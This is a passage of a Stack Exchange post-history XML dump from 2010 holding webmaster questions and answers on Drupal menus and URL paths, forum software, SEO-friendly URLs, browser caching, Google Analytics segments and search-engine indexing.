`&lt;front&gt;`). Thereafter, as I started creating my pages, I added it to the menu (and placing it in its rightful place in the menu hierarchy).  However, my issues are 3-fold:&#xD;&#xA;&#xD;&#xA; 1. I would very much like for the hierarchy to be followed in my URLs, which I would like to look like: **`www.mysite.com\services\counselling`**.  Furthermore, when I remove the word *`counselling`* from the URL, it should redirect me to the page for *`services`*.&#xD;&#xA; 2. &lt;strike&gt;Similar to the point above, but instead, how do I get my menu working with the breadcrumb? It stays on ***Home*** no matter which page I navigate to!&lt;/strike&gt;&#xD;&#xA; 3. Lastly (this is more advice that I ask for), the first 2 links under **News** are essentially stories with either `chairman-speeches` or `community-news` as Tags. Is it possible that when a user clicks on **Chairman's Speeches** (for instance) that they can be redirected to a page that shows only stories tagged with `chairman-speeches` and similar for **Community News**?&#xD;&#xA;&#xD;&#xA;Sorry, this is a long post, and I AM a noob to Drupal and still trying to learn the ropes. I know Drupal has a steep learning curve, and believe me - I intend to sit and understand as much of it as possible. For now though, I would really, really appreciate your help with my issues above. In advance, THANK YOU ever so much!&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;EDIT:&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA; 1. I've managed to sort out my second issue of the breabcrumb-menu-linking by using the [Menu Breadcrumb][1] module...works like a charm!&#xD;&#xA; 2. Going back to my first point, what I aim to achieve is exactly like what is on [http://amnesty.org/en/who-we-are/our-people][2] for example...breadcrumb works, and if you delete &quot;our-people&quot; from the URL in the address bar, it will cause you navugate one up to the page for &quot;who-we-are&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/menu_breadcrumb&#xD;&#xA;  [2]: http://amnesty.org/en/who-we-are/our-people" />
  <row Id="12104" PostHistoryTypeId="2" PostId="6062" RevisionGUID="8b632bed-72bb-4d66-824a-7ce1cfa6c16e" CreationDate="2010-11-29T23:53:45.643" UserId="3545" Text="I don't have time to write a long response to this, I'm afraid, but I have had very good experiences using MyBB, which is essentially just like vBulletin, but free. It has timely security fixes, has a useful, if not a very large, community and the software is in my experience fast, easily customizable, secure and has great features with some even better plugins. I do not have experience using it with such a large forum, however, so I can't tell you it will be a perfect fix for your situation, but it does have a simple import/migration tool built-in, which is more than I can say for some of the payware alternatives.&#xD;&#xA;&#xD;&#xA;http://www.mybb.com/ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="12105" PostHistoryTypeId="5" PostId="6061" RevisionGUID="41143ac2-1f02-4fa1-be5c-a1f05d34e0f0" CreationDate="2010-11-29T23:57:00.140" UserId="3544" Comment="solved first problem" Text="My apologies up-front, as I've asked this question already on Doctype.com, but figure that this site is more appropriate. I've been trying to wrap my head around Drupal's menu system, with little progress. I've just started working with Drupal having come from using DotNetNuke.  Please, please, please help me understand this! The website has some backend functionality for authenticated users, and the following menu hierarchy resembles what the public-facing menu should look like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - Home&#xD;&#xA; - About Us&#xD;&#xA; - Services&#xD;&#xA;     - Counselling&#xD;&#xA;     - Career Guidance&#xD;&#xA; - News&#xD;&#xA;     - Chairman's Speeches&#xD;&#xA;     - Community News&#xD;&#xA;     - Gallery&#xD;&#xA; - Contact Us&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Before I continue, let me say that every item above is associated with a node of content-type &quot;page&quot;. Now, I have successfully got the &quot;Nice Menus&quot; module working, having created a new menu called &quot;Default Menu&quot; prior to that and adding only only one item called &quot;Home&quot; (linked to `&lt;front&gt;`). Thereafter, as I started creating my pages, I added it to the menu (and placing it in its rightful place in the menu hierarchy).  However, my issues are 3-fold:&#xD;&#xA;&#xD;&#xA; 1. &lt;strike&gt;I would very much like for the hierarchy to be followed in my URLs, which I would like to look like: **`www.mysite.com\services\counselling`**.  Furthermore, when I remove the word *`counselling`* from the URL, it should redirect me to the page for *`services`*.&lt;/strike&gt;&#xD;&#xA; 2. &lt;strike&gt;Similar to the point above, but instead, how do I get my menu working with the breadcrumb? It stays on ***Home*** no matter which page I navigate to!&lt;/strike&gt;&#xD;&#xA; 3. Lastly (this is more advice that I ask for), the first 2 links under **News** are essentially stories with either `chairman-speeches` or `community-news` as Tags. Is it possible that when a user clicks on **Chairman's Speeches** (for instance) that they can be redirected to a page that shows only stories tagged with `chairman-speeches` and similar for **Community News**?&#xD;&#xA;&#xD;&#xA;Sorry, this is a long post, and I AM a noob to Drupal and still trying to learn the ropes. I know Drupal has a steep learning curve, and believe me - I intend to sit and understand as much of it as possible. For now though, I would really, really appreciate your help with my issues above. In advance, THANK YOU ever so much!&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;EDIT:&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA; 1. I've managed to sort out my second issue of the breabcrumb-menu-linking by using the [Menu Breadcrumb][1] module...works like a charm!&#xD;&#xA; 2. Going back to my first point, what I aim to achieve is exactly like what is on [http://amnesty.org/en/who-we-are/our-people][2] for example...breadcrumb works, and if you delete &quot;our-people&quot; from the URL in the address bar, it will cause you navugate one up to the page for &quot;who-we-are&quot;.&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;EDIT 2:&lt;/h2&gt;&#xD;&#xA;Er...ok...I feel really thick for not seeing this option before, but I've sorted out my first problem also! If it helps any other noobs out there, when you create a page (and assuming you have the Path Auto module installed) you can manually set the path. So because the path for `www.mysite.com/services` already corresponds to a node, I create my child pages with the path entry: `services/counselling', and voila!&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/menu_breadcrumb&#xD;&#xA;  [2]: http://amnesty.org/en/who-we-are/our-people" />
  <row Id="12106" PostHistoryTypeId="5" PostId="6062" RevisionGUID="9f2306cc-fc51-4bc4-85bd-29fcc8253ae9" CreationDate="2010-11-30T00:03:07.570" UserId="3545" Comment="expanded my answer " Text="I don't have time to write a very long response to this, I'm afraid, but I have had very good experiences using MyBB, which is essentially just like vBulletin, but free and open-source. It has timely security fixes, has a useful, if not a very large, community and the software is in my experience fast, easily customizable, secure and has great features with some even better plugins. &#xD;&#xA;&#xD;&#xA;I do not have experience using it with such a large forum, however, so I can't tell you it will be a perfect fix for your situation, but it does have a simple import/migration tool built-in, which is more than I can say for some of the payware alternatives.&#xD;&#xA;&#xD;&#xA;It is PHP/MySQL based.&#xD;&#xA;&#xD;&#xA;It is cached well in my experience, although you can further increase that using server-side caching if necessary.&#xD;&#xA;  &#xD;&#xA;***&#xD;&#xA;&gt; http://www.mybb.com/features/performance/&#xD;&#xA;&#xD;&#xA;&gt; Built-in support for eAccelerator,&#xD;&#xA;&gt; memcached and X-Cache caching.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In a standard installation of MyBB, we&#xD;&#xA;&gt; already cache the most frequently&#xD;&#xA;&gt; accessed items (a list of forums, user&#xD;&#xA;&gt; groups, birthdays etc) to either the&#xD;&#xA;&gt; database or the file system. While&#xD;&#xA;&gt; this is a great speed and optimization&#xD;&#xA;&gt; improvement, having this information&#xD;&#xA;&gt; stored in memory on the server is&#xD;&#xA;&gt; quicker once again.&#xD;&#xA;&gt; &#xD;&#xA;&gt; MyBB also has the ability to store&#xD;&#xA;&gt; cached information using built-in&#xD;&#xA;&gt; shared memory caching from PHP modules&#xD;&#xA;&gt; such as X-Cache and eAccelerator and&#xD;&#xA;&gt; also has the ability to interface with&#xD;&#xA;&gt; memcached servers for cache storage.&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;http://www.mybb.com/ &#xD;&#xA;&#xD;&#xA;Good documentation:&#xD;&#xA;&#xD;&#xA;http://wiki.mybb.com/index.php/Main_Page&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12107" PostHistoryTypeId="2" PostId="6063" RevisionGUID="966bd5b9-39fe-4215-86bd-8d51c4921a9c" CreationDate="2010-11-30T00:44:44.620" UserId="2293" Text="Tables are for tabular data, not design. There is a commom misunderstanding by tableless buzzword.&#xD;&#xA;&#xD;&#xA;It is wrong use tables to make your layout basis. You must count on other elements for layout (divs, lists, section, article, header, footer, aside...). Thus you can achieve great effects with little HTML/CSS (what is semantic, light-weight, easy to maintain...).&#xD;&#xA;&#xD;&#xA;Of course, tabular data should be inside a table element. If you can, you can increase even tables semantic, adding thead, tfoot, tbody, th, caption... All those elements are intended to be used with tables, and believe, they can make your table much more richer.&#xD;&#xA;&#xD;&#xA;So, thing is, don't go with design and use any HTML/CSS solution that fits. Start from HTML semantic markup, and then build up design with CSS. This should keep anyone safe. Use as rule of thumb." />
  <row Id="12108" PostHistoryTypeId="2" PostId="6064" RevisionGUID="1bae5718-8ec7-48ed-8631-dd435fbb2c55" CreationDate="2010-11-29T10:59:40.730" UserDisplayName="Yau Leung" Text="I wonder if [Ajax crawling suggested by Google](http://code.google.com/web/ajaxcrawling/) is also applicable to Yahoo and Bing.  It seems that only Google can crawl my Ajax page after I implemented that." />
  <row Id="12109" PostHistoryTypeId="1" PostId="6064" RevisionGUID="1bae5718-8ec7-48ed-8631-dd435fbb2c55" CreationDate="2010-11-29T10:59:40.730" UserDisplayName="Yau Leung" Text="Do Yahoo! and Bing also support pretty AJAX URLs like Google's bot does?" />
  <row Id="12110" PostHistoryTypeId="3" PostId="6064" RevisionGUID="1bae5718-8ec7-48ed-8631-dd435fbb2c55" CreationDate="2010-11-29T10:59:40.730" UserDisplayName="Yau Leung" Text="&lt;seo&gt;&lt;yahoo&gt;&lt;bing&gt;" />
  <row Id="12111" PostHistoryTypeId="17" PostId="6064" RevisionGUID="cf2056ec-890a-427e-bfc8-ada8df763c93" CreationDate="2010-11-30T01:10:16.880" UserId="-1" Comment="from http://stackoverflow.com/questions/4303081/do-yahoo-and-bing-also-support-pretty-ajax-urls-like-googles-bot-does" Text="" />
  <row Id="12112" PostHistoryTypeId="2" PostId="6065" RevisionGUID="fba56a68-dfd8-449d-9761-44ec911c13fc" CreationDate="2010-11-30T01:18:46.610" UserId="3429" Text="I've used [phpBB][1] before and it's very good/well done.&#xD;&#xA;And also [Drupal][2]'s builtin forums module which is very powerful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phpbb.com&#xD;&#xA;  [2]: http://drupal.org/project/advanced_forum" />
  <row Id="12113" PostHistoryTypeId="2" PostId="6066" RevisionGUID="dad074bc-e38e-4800-a776-a0529d047360" CreationDate="2010-11-30T01:33:49.223" UserId="3453" Text="Basically, if a page which contains HTML code has some kind of URL (&lt;a name=&quot;&quot; also does the trick), and is being liked to, it is crawlable" />
  <row Id="12114" PostHistoryTypeId="2" PostId="6067" RevisionGUID="b72057fe-59e2-4738-9117-3fea4aeeb905" CreationDate="2010-11-30T03:19:41.887" UserDisplayName="Jeezar" Text="my godaddy domain experied and i just let it http://vimux.com you do lose the rights to it though" />
  <row Id="12115" PostHistoryTypeId="2" PostId="6068" RevisionGUID="53f3e349-056d-4f96-a317-f06f973cfba1" CreationDate="2010-11-30T03:36:29.273" UserId="3415" Text="In IE I changed the cache setting to&#xD;&#xA;&#xD;&#xA;    &quot;Every time I visit the web page&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, I noticed in the directory&#xD;&#xA;&#xD;&#xA;    \Local Settings\Temporary Internet Files&#xD;&#xA;&#xD;&#xA;that the files are still being stored in here and updated each time the page is called.&#xD;&#xA;&#xD;&#xA;Is caching still on?&#xD;&#xA;&#xD;&#xA;Thank You.&#xD;&#xA;" />
  <row Id="12116" PostHistoryTypeId="1" PostId="6068" RevisionGUID="53f3e349-056d-4f96-a317-f06f973cfba1" CreationDate="2010-11-30T03:36:29.273" UserId="3415" Text="Why does IE still save and update files in the temp folder when caching is off?" />
  <row Id="12117" PostHistoryTypeId="3" PostId="6068" RevisionGUID="53f3e349-056d-4f96-a317-f06f973cfba1" CreationDate="2010-11-30T03:36:29.273" UserId="3415" Text="&lt;internet-explorer&gt;&lt;browsers&gt;&lt;cache&gt;&lt;cache-control&gt;" />
  <row Id="12118" PostHistoryTypeId="2" PostId="6069" RevisionGUID="16ca8979-b658-464b-ba82-f6ab6e091f96" CreationDate="2010-11-30T03:37:29.833" UserId="3415" Text="&#xD;&#xA;&#xD;&#xA;    browser.cache.disk.enable = false&#xD;&#xA;    browser.cache.memory.enable = false&#xD;&#xA;    network.http.use-cache = true&#xD;&#xA;&#xD;&#xA;With the following settings above, will there be any caching in FF?&#xD;&#xA;&#xD;&#xA;Does the disk.enable and memory.enable set to false override the true setting of use-cache?&#xD;&#xA;&#xD;&#xA;http://kb.mozillazine.org/Network.http.use-cache&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="12119" PostHistoryTypeId="1" PostId="6069" RevisionGUID="16ca8979-b658-464b-ba82-f6ab6e091f96" CreationDate="2010-11-30T03:37:29.833" UserId="3415" Text="With the following settings shown here, will there be any caching in Firefox?" />
  <row Id="12120" PostHistoryTypeId="3" PostId="6069" RevisionGUID="16ca8979-b658-464b-ba82-f6ab6e091f96" CreationDate="2010-11-30T03:37:29.833" UserId="3415" Text="&lt;browsers&gt;&lt;cache&gt;&lt;firefox&gt;&lt;http&gt;&lt;cache-control&gt;" />
  <row Id="12121" PostHistoryTypeId="2" PostId="6070" RevisionGUID="5113bc5a-7177-42df-abf8-ec2fda521d47" CreationDate="2010-11-30T03:43:22.027" UserId="3415" Text="For about a week or two after my GoDaddy domain expired, they kept sending me e-mails saying you still have time to renew (for even cheaper).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12122" PostHistoryTypeId="2" PostId="6071" RevisionGUID="95da2a1b-0f94-4f66-ba9b-a3f3a0a48a0b" CreationDate="2010-11-30T03:47:03.300" UserId="3415" Text="I physically went to stores in the near-by area, printed out a few pages of my site, and asked them if they would like to advertise their business on my site. &#xD;&#xA;&#xD;&#xA;I made 4X's as much as AdSense this way." />
  <row Id="12123" PostHistoryTypeId="2" PostId="6072" RevisionGUID="c42ea241-a086-42fc-8c79-68fa5234d8e7" CreationDate="2010-11-30T03:49:30.817" UserId="3415" Text="http://www.freecsstemplates.org/" />
  <row Id="12127" PostHistoryTypeId="2" PostId="6073" RevisionGUID="6c60e9c1-2de4-4316-b727-d7c31e8b8c31" CreationDate="2010-11-30T06:38:43.740" UserId="3549" Text="I'm working for a website to convert the website url to SEO friendly URL.&#xD;&#xA;For this I made plan like -&#xD;&#xA;&#xD;&#xA;&gt; mysite.com/category-name/pageid-123-page-name&#xD;&#xA;&#xD;&#xA;But I looked some similar categorized high ranked websites, they have the same structure, except one thing. Their url looks like -&#xD;&#xA;&#xD;&#xA;&gt; theirsite.com/category-nae/pageid-123-page-name.html&#xD;&#xA;&#xD;&#xA;and another one has &#xD;&#xA;&#xD;&#xA;&gt; theirsite.com/category-nae/pageid-123-page-name.php&#xD;&#xA;&#xD;&#xA;Now I know those text in url help with seo. But in this case is it much helpful to have a file extension? If yes, which one is better?&#xD;&#xA;&#xD;&#xA;Or if my plan is ok, will it be better with a / at the end?" />
  <row Id="12128" PostHistoryTypeId="1" PostId="6073" RevisionGUID="6c60e9c1-2de4-4316-b727-d7c31e8b8c31" CreationDate="2010-11-30T06:38:43.740" UserId="3549" Text="What is the best stucture of SEO friendly URL?" />
  <row Id="12129" PostHistoryTypeId="3" PostId="6073" RevisionGUID="6c60e9c1-2de4-4316-b727-d7c31e8b8c31" CreationDate="2010-11-30T06:38:43.740" UserId="3549" Text="&lt;seo&gt;&lt;url&gt;&lt;htaccess&gt;&lt;url-rewriting&gt;" />
  <row Id="12130" PostHistoryTypeId="2" PostId="6074" RevisionGUID="46733ee5-9883-4026-8dbb-df6ece661360" CreationDate="2010-11-30T07:56:28.880" UserId="2748" Text="URL, they matter a lot less in comparison to what the content it contains. &#xD;&#xA;&#xD;&#xA;No matter how much detailed you make your URL, if the content you put inside like title, h1, h2.... is meaning less, your page will not rank higher." />
  <row Id="12131" PostHistoryTypeId="2" PostId="6075" RevisionGUID="8dea372f-ad05-4d36-8bf7-b2b0faf5aabd" CreationDate="2010-11-30T09:47:33.897" UserId="3551" Text="I manage a site and do mailing per month. &#xD;&#xA;&#xD;&#xA;I'm tracking - www.domain.com &#xD;&#xA;but, I put my mailings under &#xD;&#xA;&#xD;&#xA;www.domain.com/news/newyear/&#xD;&#xA;www.domain.com/news/sales/&#xD;&#xA;www.domain.com/news/promo1/&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;Instead of creating new profiles for each mailing,&#xD;&#xA;is it possible create sub profiles and track them as selecting profile from google analytics.&#xD;&#xA;I hope - I described my question. :)&#xD;&#xA;&#xD;&#xA;regards." />
  <row Id="12132" PostHistoryTypeId="1" PostId="6075" RevisionGUID="8dea372f-ad05-4d36-8bf7-b2b0faf5aabd" CreationDate="2010-11-30T09:47:33.897" UserId="3551" Text="Track a page within a existing profile." />
  <row Id="12133" PostHistoryTypeId="3" PostId="6075" RevisionGUID="8dea372f-ad05-4d36-8bf7-b2b0faf5aabd" CreationDate="2010-11-30T09:47:33.897" UserId="3551" Text="&lt;google-analytics&gt;" />
  <row Id="12134" PostHistoryTypeId="2" PostId="6076" RevisionGUID="baa35eb0-4c2a-4d3e-b846-3d11fb59c74b" CreationDate="2010-11-30T10:03:23.137" UserId="1089" Text="The difference in ranking caused by file extensions and slashes in URL's is minimal. Choose whatever is easiest for you to work with (for example if you have to wrestle with a CMS)&#xD;&#xA;&#xD;&#xA;The reasons the competition ranks higher than you do will be content and the number/quality of links pointing to those sites." />
  <row Id="12135" PostHistoryTypeId="4" PostId="6075" RevisionGUID="03d71923-8917-41ee-9ef4-40e91682cfed" CreationDate="2010-11-30T10:35:56.083" UserId="3551" Comment="edited title" Text="How to Track a page within a existing profile?" />
  <row Id="12136" PostHistoryTypeId="2" PostId="6077" RevisionGUID="da5dd8bc-7be3-4374-af7d-81a8836c9587" CreationDate="2010-11-30T10:46:18.770" UserId="233" Text="To my knowledge, there has not been any word from Yahoo/Bing that they support crawlable AJAX. I'm not even sure that the specification has been finalised by Google.&#xD;&#xA;&#xD;&#xA;So do not count on your AJAX content being crawlable by anyone other than Google at this time. It may be a good idea to create individual pages where possible for the other search engines." />
  <row Id="12137" PostHistoryTypeId="2" PostId="6078" RevisionGUID="68caf5c1-e4bb-420c-8976-873af94c08f2" CreationDate="2010-11-30T11:04:34.720" UserId="3552" Text="We are currently trying to see if our site is being indexed successfully by google. Mind you we got millions of pages.&#xD;&#xA;&#xD;&#xA;A trick some people use is the google site: command.&#xD;&#xA;I always assumed that google.com and google.nl would be the same. Data being fetched by the same GoogleBot. And that it was more of a latency thing where google.nl would be closer to home than google.com. But this is clearly not the case, since google.nl and google.com give back different results. &#xD;&#xA;&#xD;&#xA;http://www.google.nl/search?sourceid=chrome&amp;ie=UTF-8&amp;q=site:amazon.com returns 37.400.000 results&#xD;&#xA;and&#xD;&#xA;www.google.com/#sclient=psy&amp;hl=en&amp;site=&amp;source=hp&amp;q=site:amazon.com returns  487,000,000 results&#xD;&#xA;&#xD;&#xA;Does anybody know how this works?&#xD;&#xA;&#xD;&#xA;Another related question is what other tricks people use to see if google.com successfully indexes all data.&#xD;&#xA;&#xD;&#xA;It seems the best way is to do some analytics on the apache logs searching for the GoogleBot." />
  <row Id="12138" PostHistoryTypeId="1" PostId="6078" RevisionGUID="68caf5c1-e4bb-420c-8976-873af94c08f2" CreationDate="2010-11-30T11:04:34.720" UserId="3552" Text="Differences between google domains in different countries" />
  <row Id="12139" PostHistoryTypeId="3" PostId="6078" RevisionGUID="68caf5c1-e4bb-420c-8976-873af94c08f2" CreationDate="2010-11-30T11:04:34.720" UserId="3552" Text="&lt;search-engines&gt;" />
  <row Id="12140" PostHistoryTypeId="2" PostId="6079" RevisionGUID="e7f33195-9a06-44e5-86ed-d8f32761647a" CreationDate="2010-11-30T11:12:08.580" UserId="2293" Text="Including or not the extension is not the most important point for SEO. Content, clean and semantic markup, meta description, title.... these things weight more.&#xD;&#xA;&#xD;&#xA;However, if you are intending to optimize your URLs (what isn't a bad thing at all), think on users first (as for everything).&#xD;&#xA;&#xD;&#xA;Your plan is:&#xD;&#xA;&#xD;&#xA;    mysite.com/category-name/pageid-123-page-name&#xD;&#xA;&#xD;&#xA;I suggest something even more friendly, like:&#xD;&#xA;&#xD;&#xA;    mysite.com/category-name/page-name&#xD;&#xA;&#xD;&#xA;Unless you are using a industry made solution, coding a routine in php to handle those request should not be a huge challenge.&#xD;&#xA;&#xD;&#xA;Ah, and don't get worried about every single minor difference between you and other sites. If you think the way you do is better for your users, go ahead in your own way. You probably is making better and getting ahead of them." />
  <row Id="12141" PostHistoryTypeId="6" PostId="6078" RevisionGUID="e84c3fd5-421d-451e-a63e-a70179aaaee9" CreationDate="2010-11-30T11:59:30.143" UserId="3552" Comment="edited tags" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="12142" PostHistoryTypeId="2" PostId="6080" RevisionGUID="23e4e3ff-db3f-44fb-8451-7d9aa8f0885d" CreationDate="2010-11-30T12:01:23.050" UserId="1064" Text="[Google Webmaster Tools][1] is the easiest (and most authoritative) way to determine how much of your content has made it into Google's index.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home" />
  <row Id="12143" PostHistoryTypeId="5" PostId="6067" RevisionGUID="92bd1f1b-949d-444d-8a14-28f8d6eae3e9" CreationDate="2010-11-30T12:50:52.067" UserId="1253" Comment="Removed unnecessary link" Text="my godaddy domain experied and i just let it. you do lose the rights to it though" />
  <row Id="12144" PostHistoryTypeId="2" PostId="6081" RevisionGUID="819eadfc-e19d-439e-9227-1fa3a3133831" CreationDate="2010-11-30T13:05:40.827" UserId="1243" Text="&gt; &quot;Every time I visit the web page&quot;&#xD;&#xA;&#xD;&#xA;Because I don't think this does disable the cache in IE - in fact I don't think you can completely disable the cache in IE?!&#xD;&#xA;&#xD;&#xA;I think this setting does literally what it says... it &quot;Checks for newer versions of stored pages every time I visit the webpage&quot;. It could check for a newer version by requesting just the headers... `Last-Modified`, `If-Modified-Since`, `ETag`, perhaps the reported file size etc. without downloading the file. If, by these checks, IE does not think the page has changed then the cached page will be used.&#xD;&#xA;&#xD;&#xA;From this KB article... [How Internet Explorer cache settings affect Web browsing](http://support.microsoft.com/kb/263070):&#xD;&#xA;&#xD;&#xA;&gt; **Every visit to the page:** When you return to a page you viewed&#xD;&#xA;&gt; previously, Internet Explorer should&#xD;&#xA;&gt; check to see whether the page changed&#xD;&#xA;&gt; since you last viewed it. If the page&#xD;&#xA;&gt; has changed, Internet Explorer&#xD;&#xA;&gt; displays the new page and stores it in&#xD;&#xA;&gt; the Temporary Internet Files. Note&#xD;&#xA;&gt; that selecting this option can slow&#xD;&#xA;&gt; down browsing between pages you have&#xD;&#xA;&gt; already viewed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12145" PostHistoryTypeId="6" PostId="6078" RevisionGUID="628a36c5-230c-4003-8036-55870c73deb0" CreationDate="2010-11-30T13:08:10.597" UserId="1955" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;google-search&gt;" />
  <row Id="12146" PostHistoryTypeId="2" PostId="6082" RevisionGUID="e437f0f0-41e7-4b64-a14f-a5b9379b3b60" CreationDate="2010-11-30T13:49:06.150" UserId="1089" Text="A site I help with sells a particular set of items, they have a strong reputation locally, and sell parts nationally online. From an observational point of view I enjoy working with them as they do everything right - always willing to go the extra mile for customers, even at times when it seems counter productive (for example spending large amounts of time helping a customer who has spent relatively little money) I would definitely put them in the &quot;good guys&quot; bracket.&#xD;&#xA;&#xD;&#xA;Checking server logs I notice they get quite a few links from phpbb style forums, talking about how great the service was/how good the prices were etc. These forums appear to be quite popular - large user list, lots of discussion and questions per day etc.&#xD;&#xA;&#xD;&#xA;But (and here is the problem) I'm almost certain these discussion groups aren't being picked up by google. &#xD;&#xA;&#xD;&#xA;The customers just don't seem to be the kind of customer who have a blog/twitter feed/website - the sort of content which is more likely to be picked up by google and have page ranking.&#xD;&#xA;&#xD;&#xA;I understand partly this is why the stackoverflow/exchange sites exist - to make the web a better place, make answers easier to find, more search engine friendly etc. &#xD;&#xA;&#xD;&#xA;Does anyone have any advice as to how to deal with this &quot;problem&quot; of old style discussion groups?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12147" PostHistoryTypeId="1" PostId="6082" RevisionGUID="e437f0f0-41e7-4b64-a14f-a5b9379b3b60" CreationDate="2010-11-30T13:49:06.150" UserId="1089" Text="Links from pages with poor/no ranking, is there anything I can do about this?" />
  <row Id="12148" PostHistoryTypeId="3" PostId="6082" RevisionGUID="e437f0f0-41e7-4b64-a14f-a5b9379b3b60" CreationDate="2010-11-30T13:49:06.150" UserId="1089" Text="&lt;google&gt;&lt;links&gt;&lt;forum&gt;" />
  <row Id="12149" PostHistoryTypeId="2" PostId="6083" RevisionGUID="edf79449-480b-42c7-9b77-9ab2c560cd3a" CreationDate="2010-11-30T14:18:06.097" UserId="1253" Text="I'd hardly call it a problem. People are giving that website free advertising and, even better, a glowing endorsement. So what if the links are low/no value SEO wise? Isn't the goal to drive in traffic and sales? Anyone who views these posts will see that website in a positive light and are potential customers as a result. Who cares if they found it through a search engine or not? This question is a good example of focusing on small things that really don't matter. I wouldn't be giving this another thought and would instead focus on making sure this traffic is being converted. &#xD;&#xA;&#xD;&#xA;But if you *have* to do something about this, try making a page with links to these glowing testimonials. That will help the search engines find them and hopefully index them. Call the page &quot;see what others are saying about us&quot; or something like that." />
  <row Id="12150" PostHistoryTypeId="2" PostId="6084" RevisionGUID="6cc8ba99-77af-43e6-bf98-1fe178861f52" CreationDate="2010-11-30T14:59:34.240" UserDisplayName="JP19" Text="I think Adsense  only approves sites that are over 6 months old. Till that time, you can try an ad network like Adbrite. There are also services which pay if a user from your site will fill a survey for them (and you in turn should provide some &quot;premium&quot; content for the users in exchange for them filling up survey). &#xD;&#xA;&#xD;&#xA;" />
  <row Id="12151" PostHistoryTypeId="2" PostId="6085" RevisionGUID="4d578c32-3df3-41ed-bde2-4dc5c68a9aea" CreationDate="2010-11-30T15:09:38.000" UserDisplayName="JP19" Text="I have seen that some IPs are tied to multiple servers (physical machines). Example: check the ping times of one of GoDaddy's nameservers:&#xD;&#xA;&#xD;&#xA;http://just-ping.com/index.php?vh=NS39.DOMAINCONTROL.COM&amp;c=&amp;s=ping!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It has a ping time of around 3.2 ms from Singapore AND a ping time of 2.3 ms from Ashburn, U.S.A, etc. So pretty sure it pings the nearest server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My question is, how does one set this up? Is it possible for an average webmaster to set things like this (buy servers in multiple countries and tie them to single IP address)?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12152" PostHistoryTypeId="1" PostId="6085" RevisionGUID="4d578c32-3df3-41ed-bde2-4dc5c68a9aea" CreationDate="2010-11-30T15:09:38.000" UserDisplayName="JP19" Text="Single IP multiple servers" />
  <row Id="12153" PostHistoryTypeId="3" PostId="6085" RevisionGUID="4d578c32-3df3-41ed-bde2-4dc5c68a9aea" CreationDate="2010-11-30T15:09:38.000" UserDisplayName="JP19" Text="&lt;server&gt;&lt;ip-address&gt;&lt;geolocation&gt;" />
  <row Id="12154" PostHistoryTypeId="2" PostId="6086" RevisionGUID="321af5dd-ad02-461e-8e83-f6d77891f314" CreationDate="2010-11-30T15:25:05.143" UserId="3558" Text="You may also maintain a footer that is rich in (text) links; make sure you use good labels. You can think of the footer as a subset of your complete sitemap. This might suggest Google that those links / contents are quite important since they are repeated across the site (assuming all pages have the same footer).&#xD;&#xA;&#xD;&#xA;[Removal of sitelinks][1] is more straightforward: you can do it via the Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.siku-siku.com/blog/2010/11/30/managing-your-sitelinks/" />
  <row Id="12156" PostHistoryTypeId="2" PostId="6088" RevisionGUID="109f3528-01b2-4945-8583-cb4b2bc1db67" CreationDate="2010-11-30T15:37:29.620" UserId="26" Text="Under Google Analytics, I believe what you want are [Advanced Segments][1]. &#xD;&#xA;&#xD;&#xA;So for your example, you would create 3 of these, here's an example:&#xD;&#xA;&#xD;&#xA; 1. Go to *My Customizations &gt; Advanced Segments*&#xD;&#xA; 2. Click *+ Create new custom segment*&#xD;&#xA; 3. Drag over &quot;*Dimensions &gt; Content &gt; Page*&quot;&#xD;&#xA; 4. Choose &quot;*Matches exactly*&quot; and enter &quot;/newyear/&quot;&#xD;&#xA; 5. Enter a name for this, save the Advanced Segment. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=108040" />
  <row Id="12157" PostHistoryTypeId="5" PostId="6075" RevisionGUID="063ca66f-15e2-4bb4-9ecb-401e7d4467f5" CreationDate="2010-11-30T15:41:11.130" UserId="26" Comment="cleanup" Text="I manage a site and do mailing per month. &#xD;&#xA;&#xD;&#xA;I'm tracking - `www.example.com`  but, I put my mailings under &#xD;&#xA;&#xD;&#xA; - `www.example.com/news/newyear/`&#xD;&#xA; -  `www.example.com/news/sales/`&#xD;&#xA; -  `www.example.com/news/promo1/ `&#xD;&#xA; - etc.&#xD;&#xA;&#xD;&#xA;Instead of creating new profiles for each mailing, is it possible create sub profiles and track them as selecting profile from Google Analytics.&#xD;&#xA;&#xD;&#xA;I hope - I described my question. :)&#xD;&#xA;&#xD;&#xA;regards." />
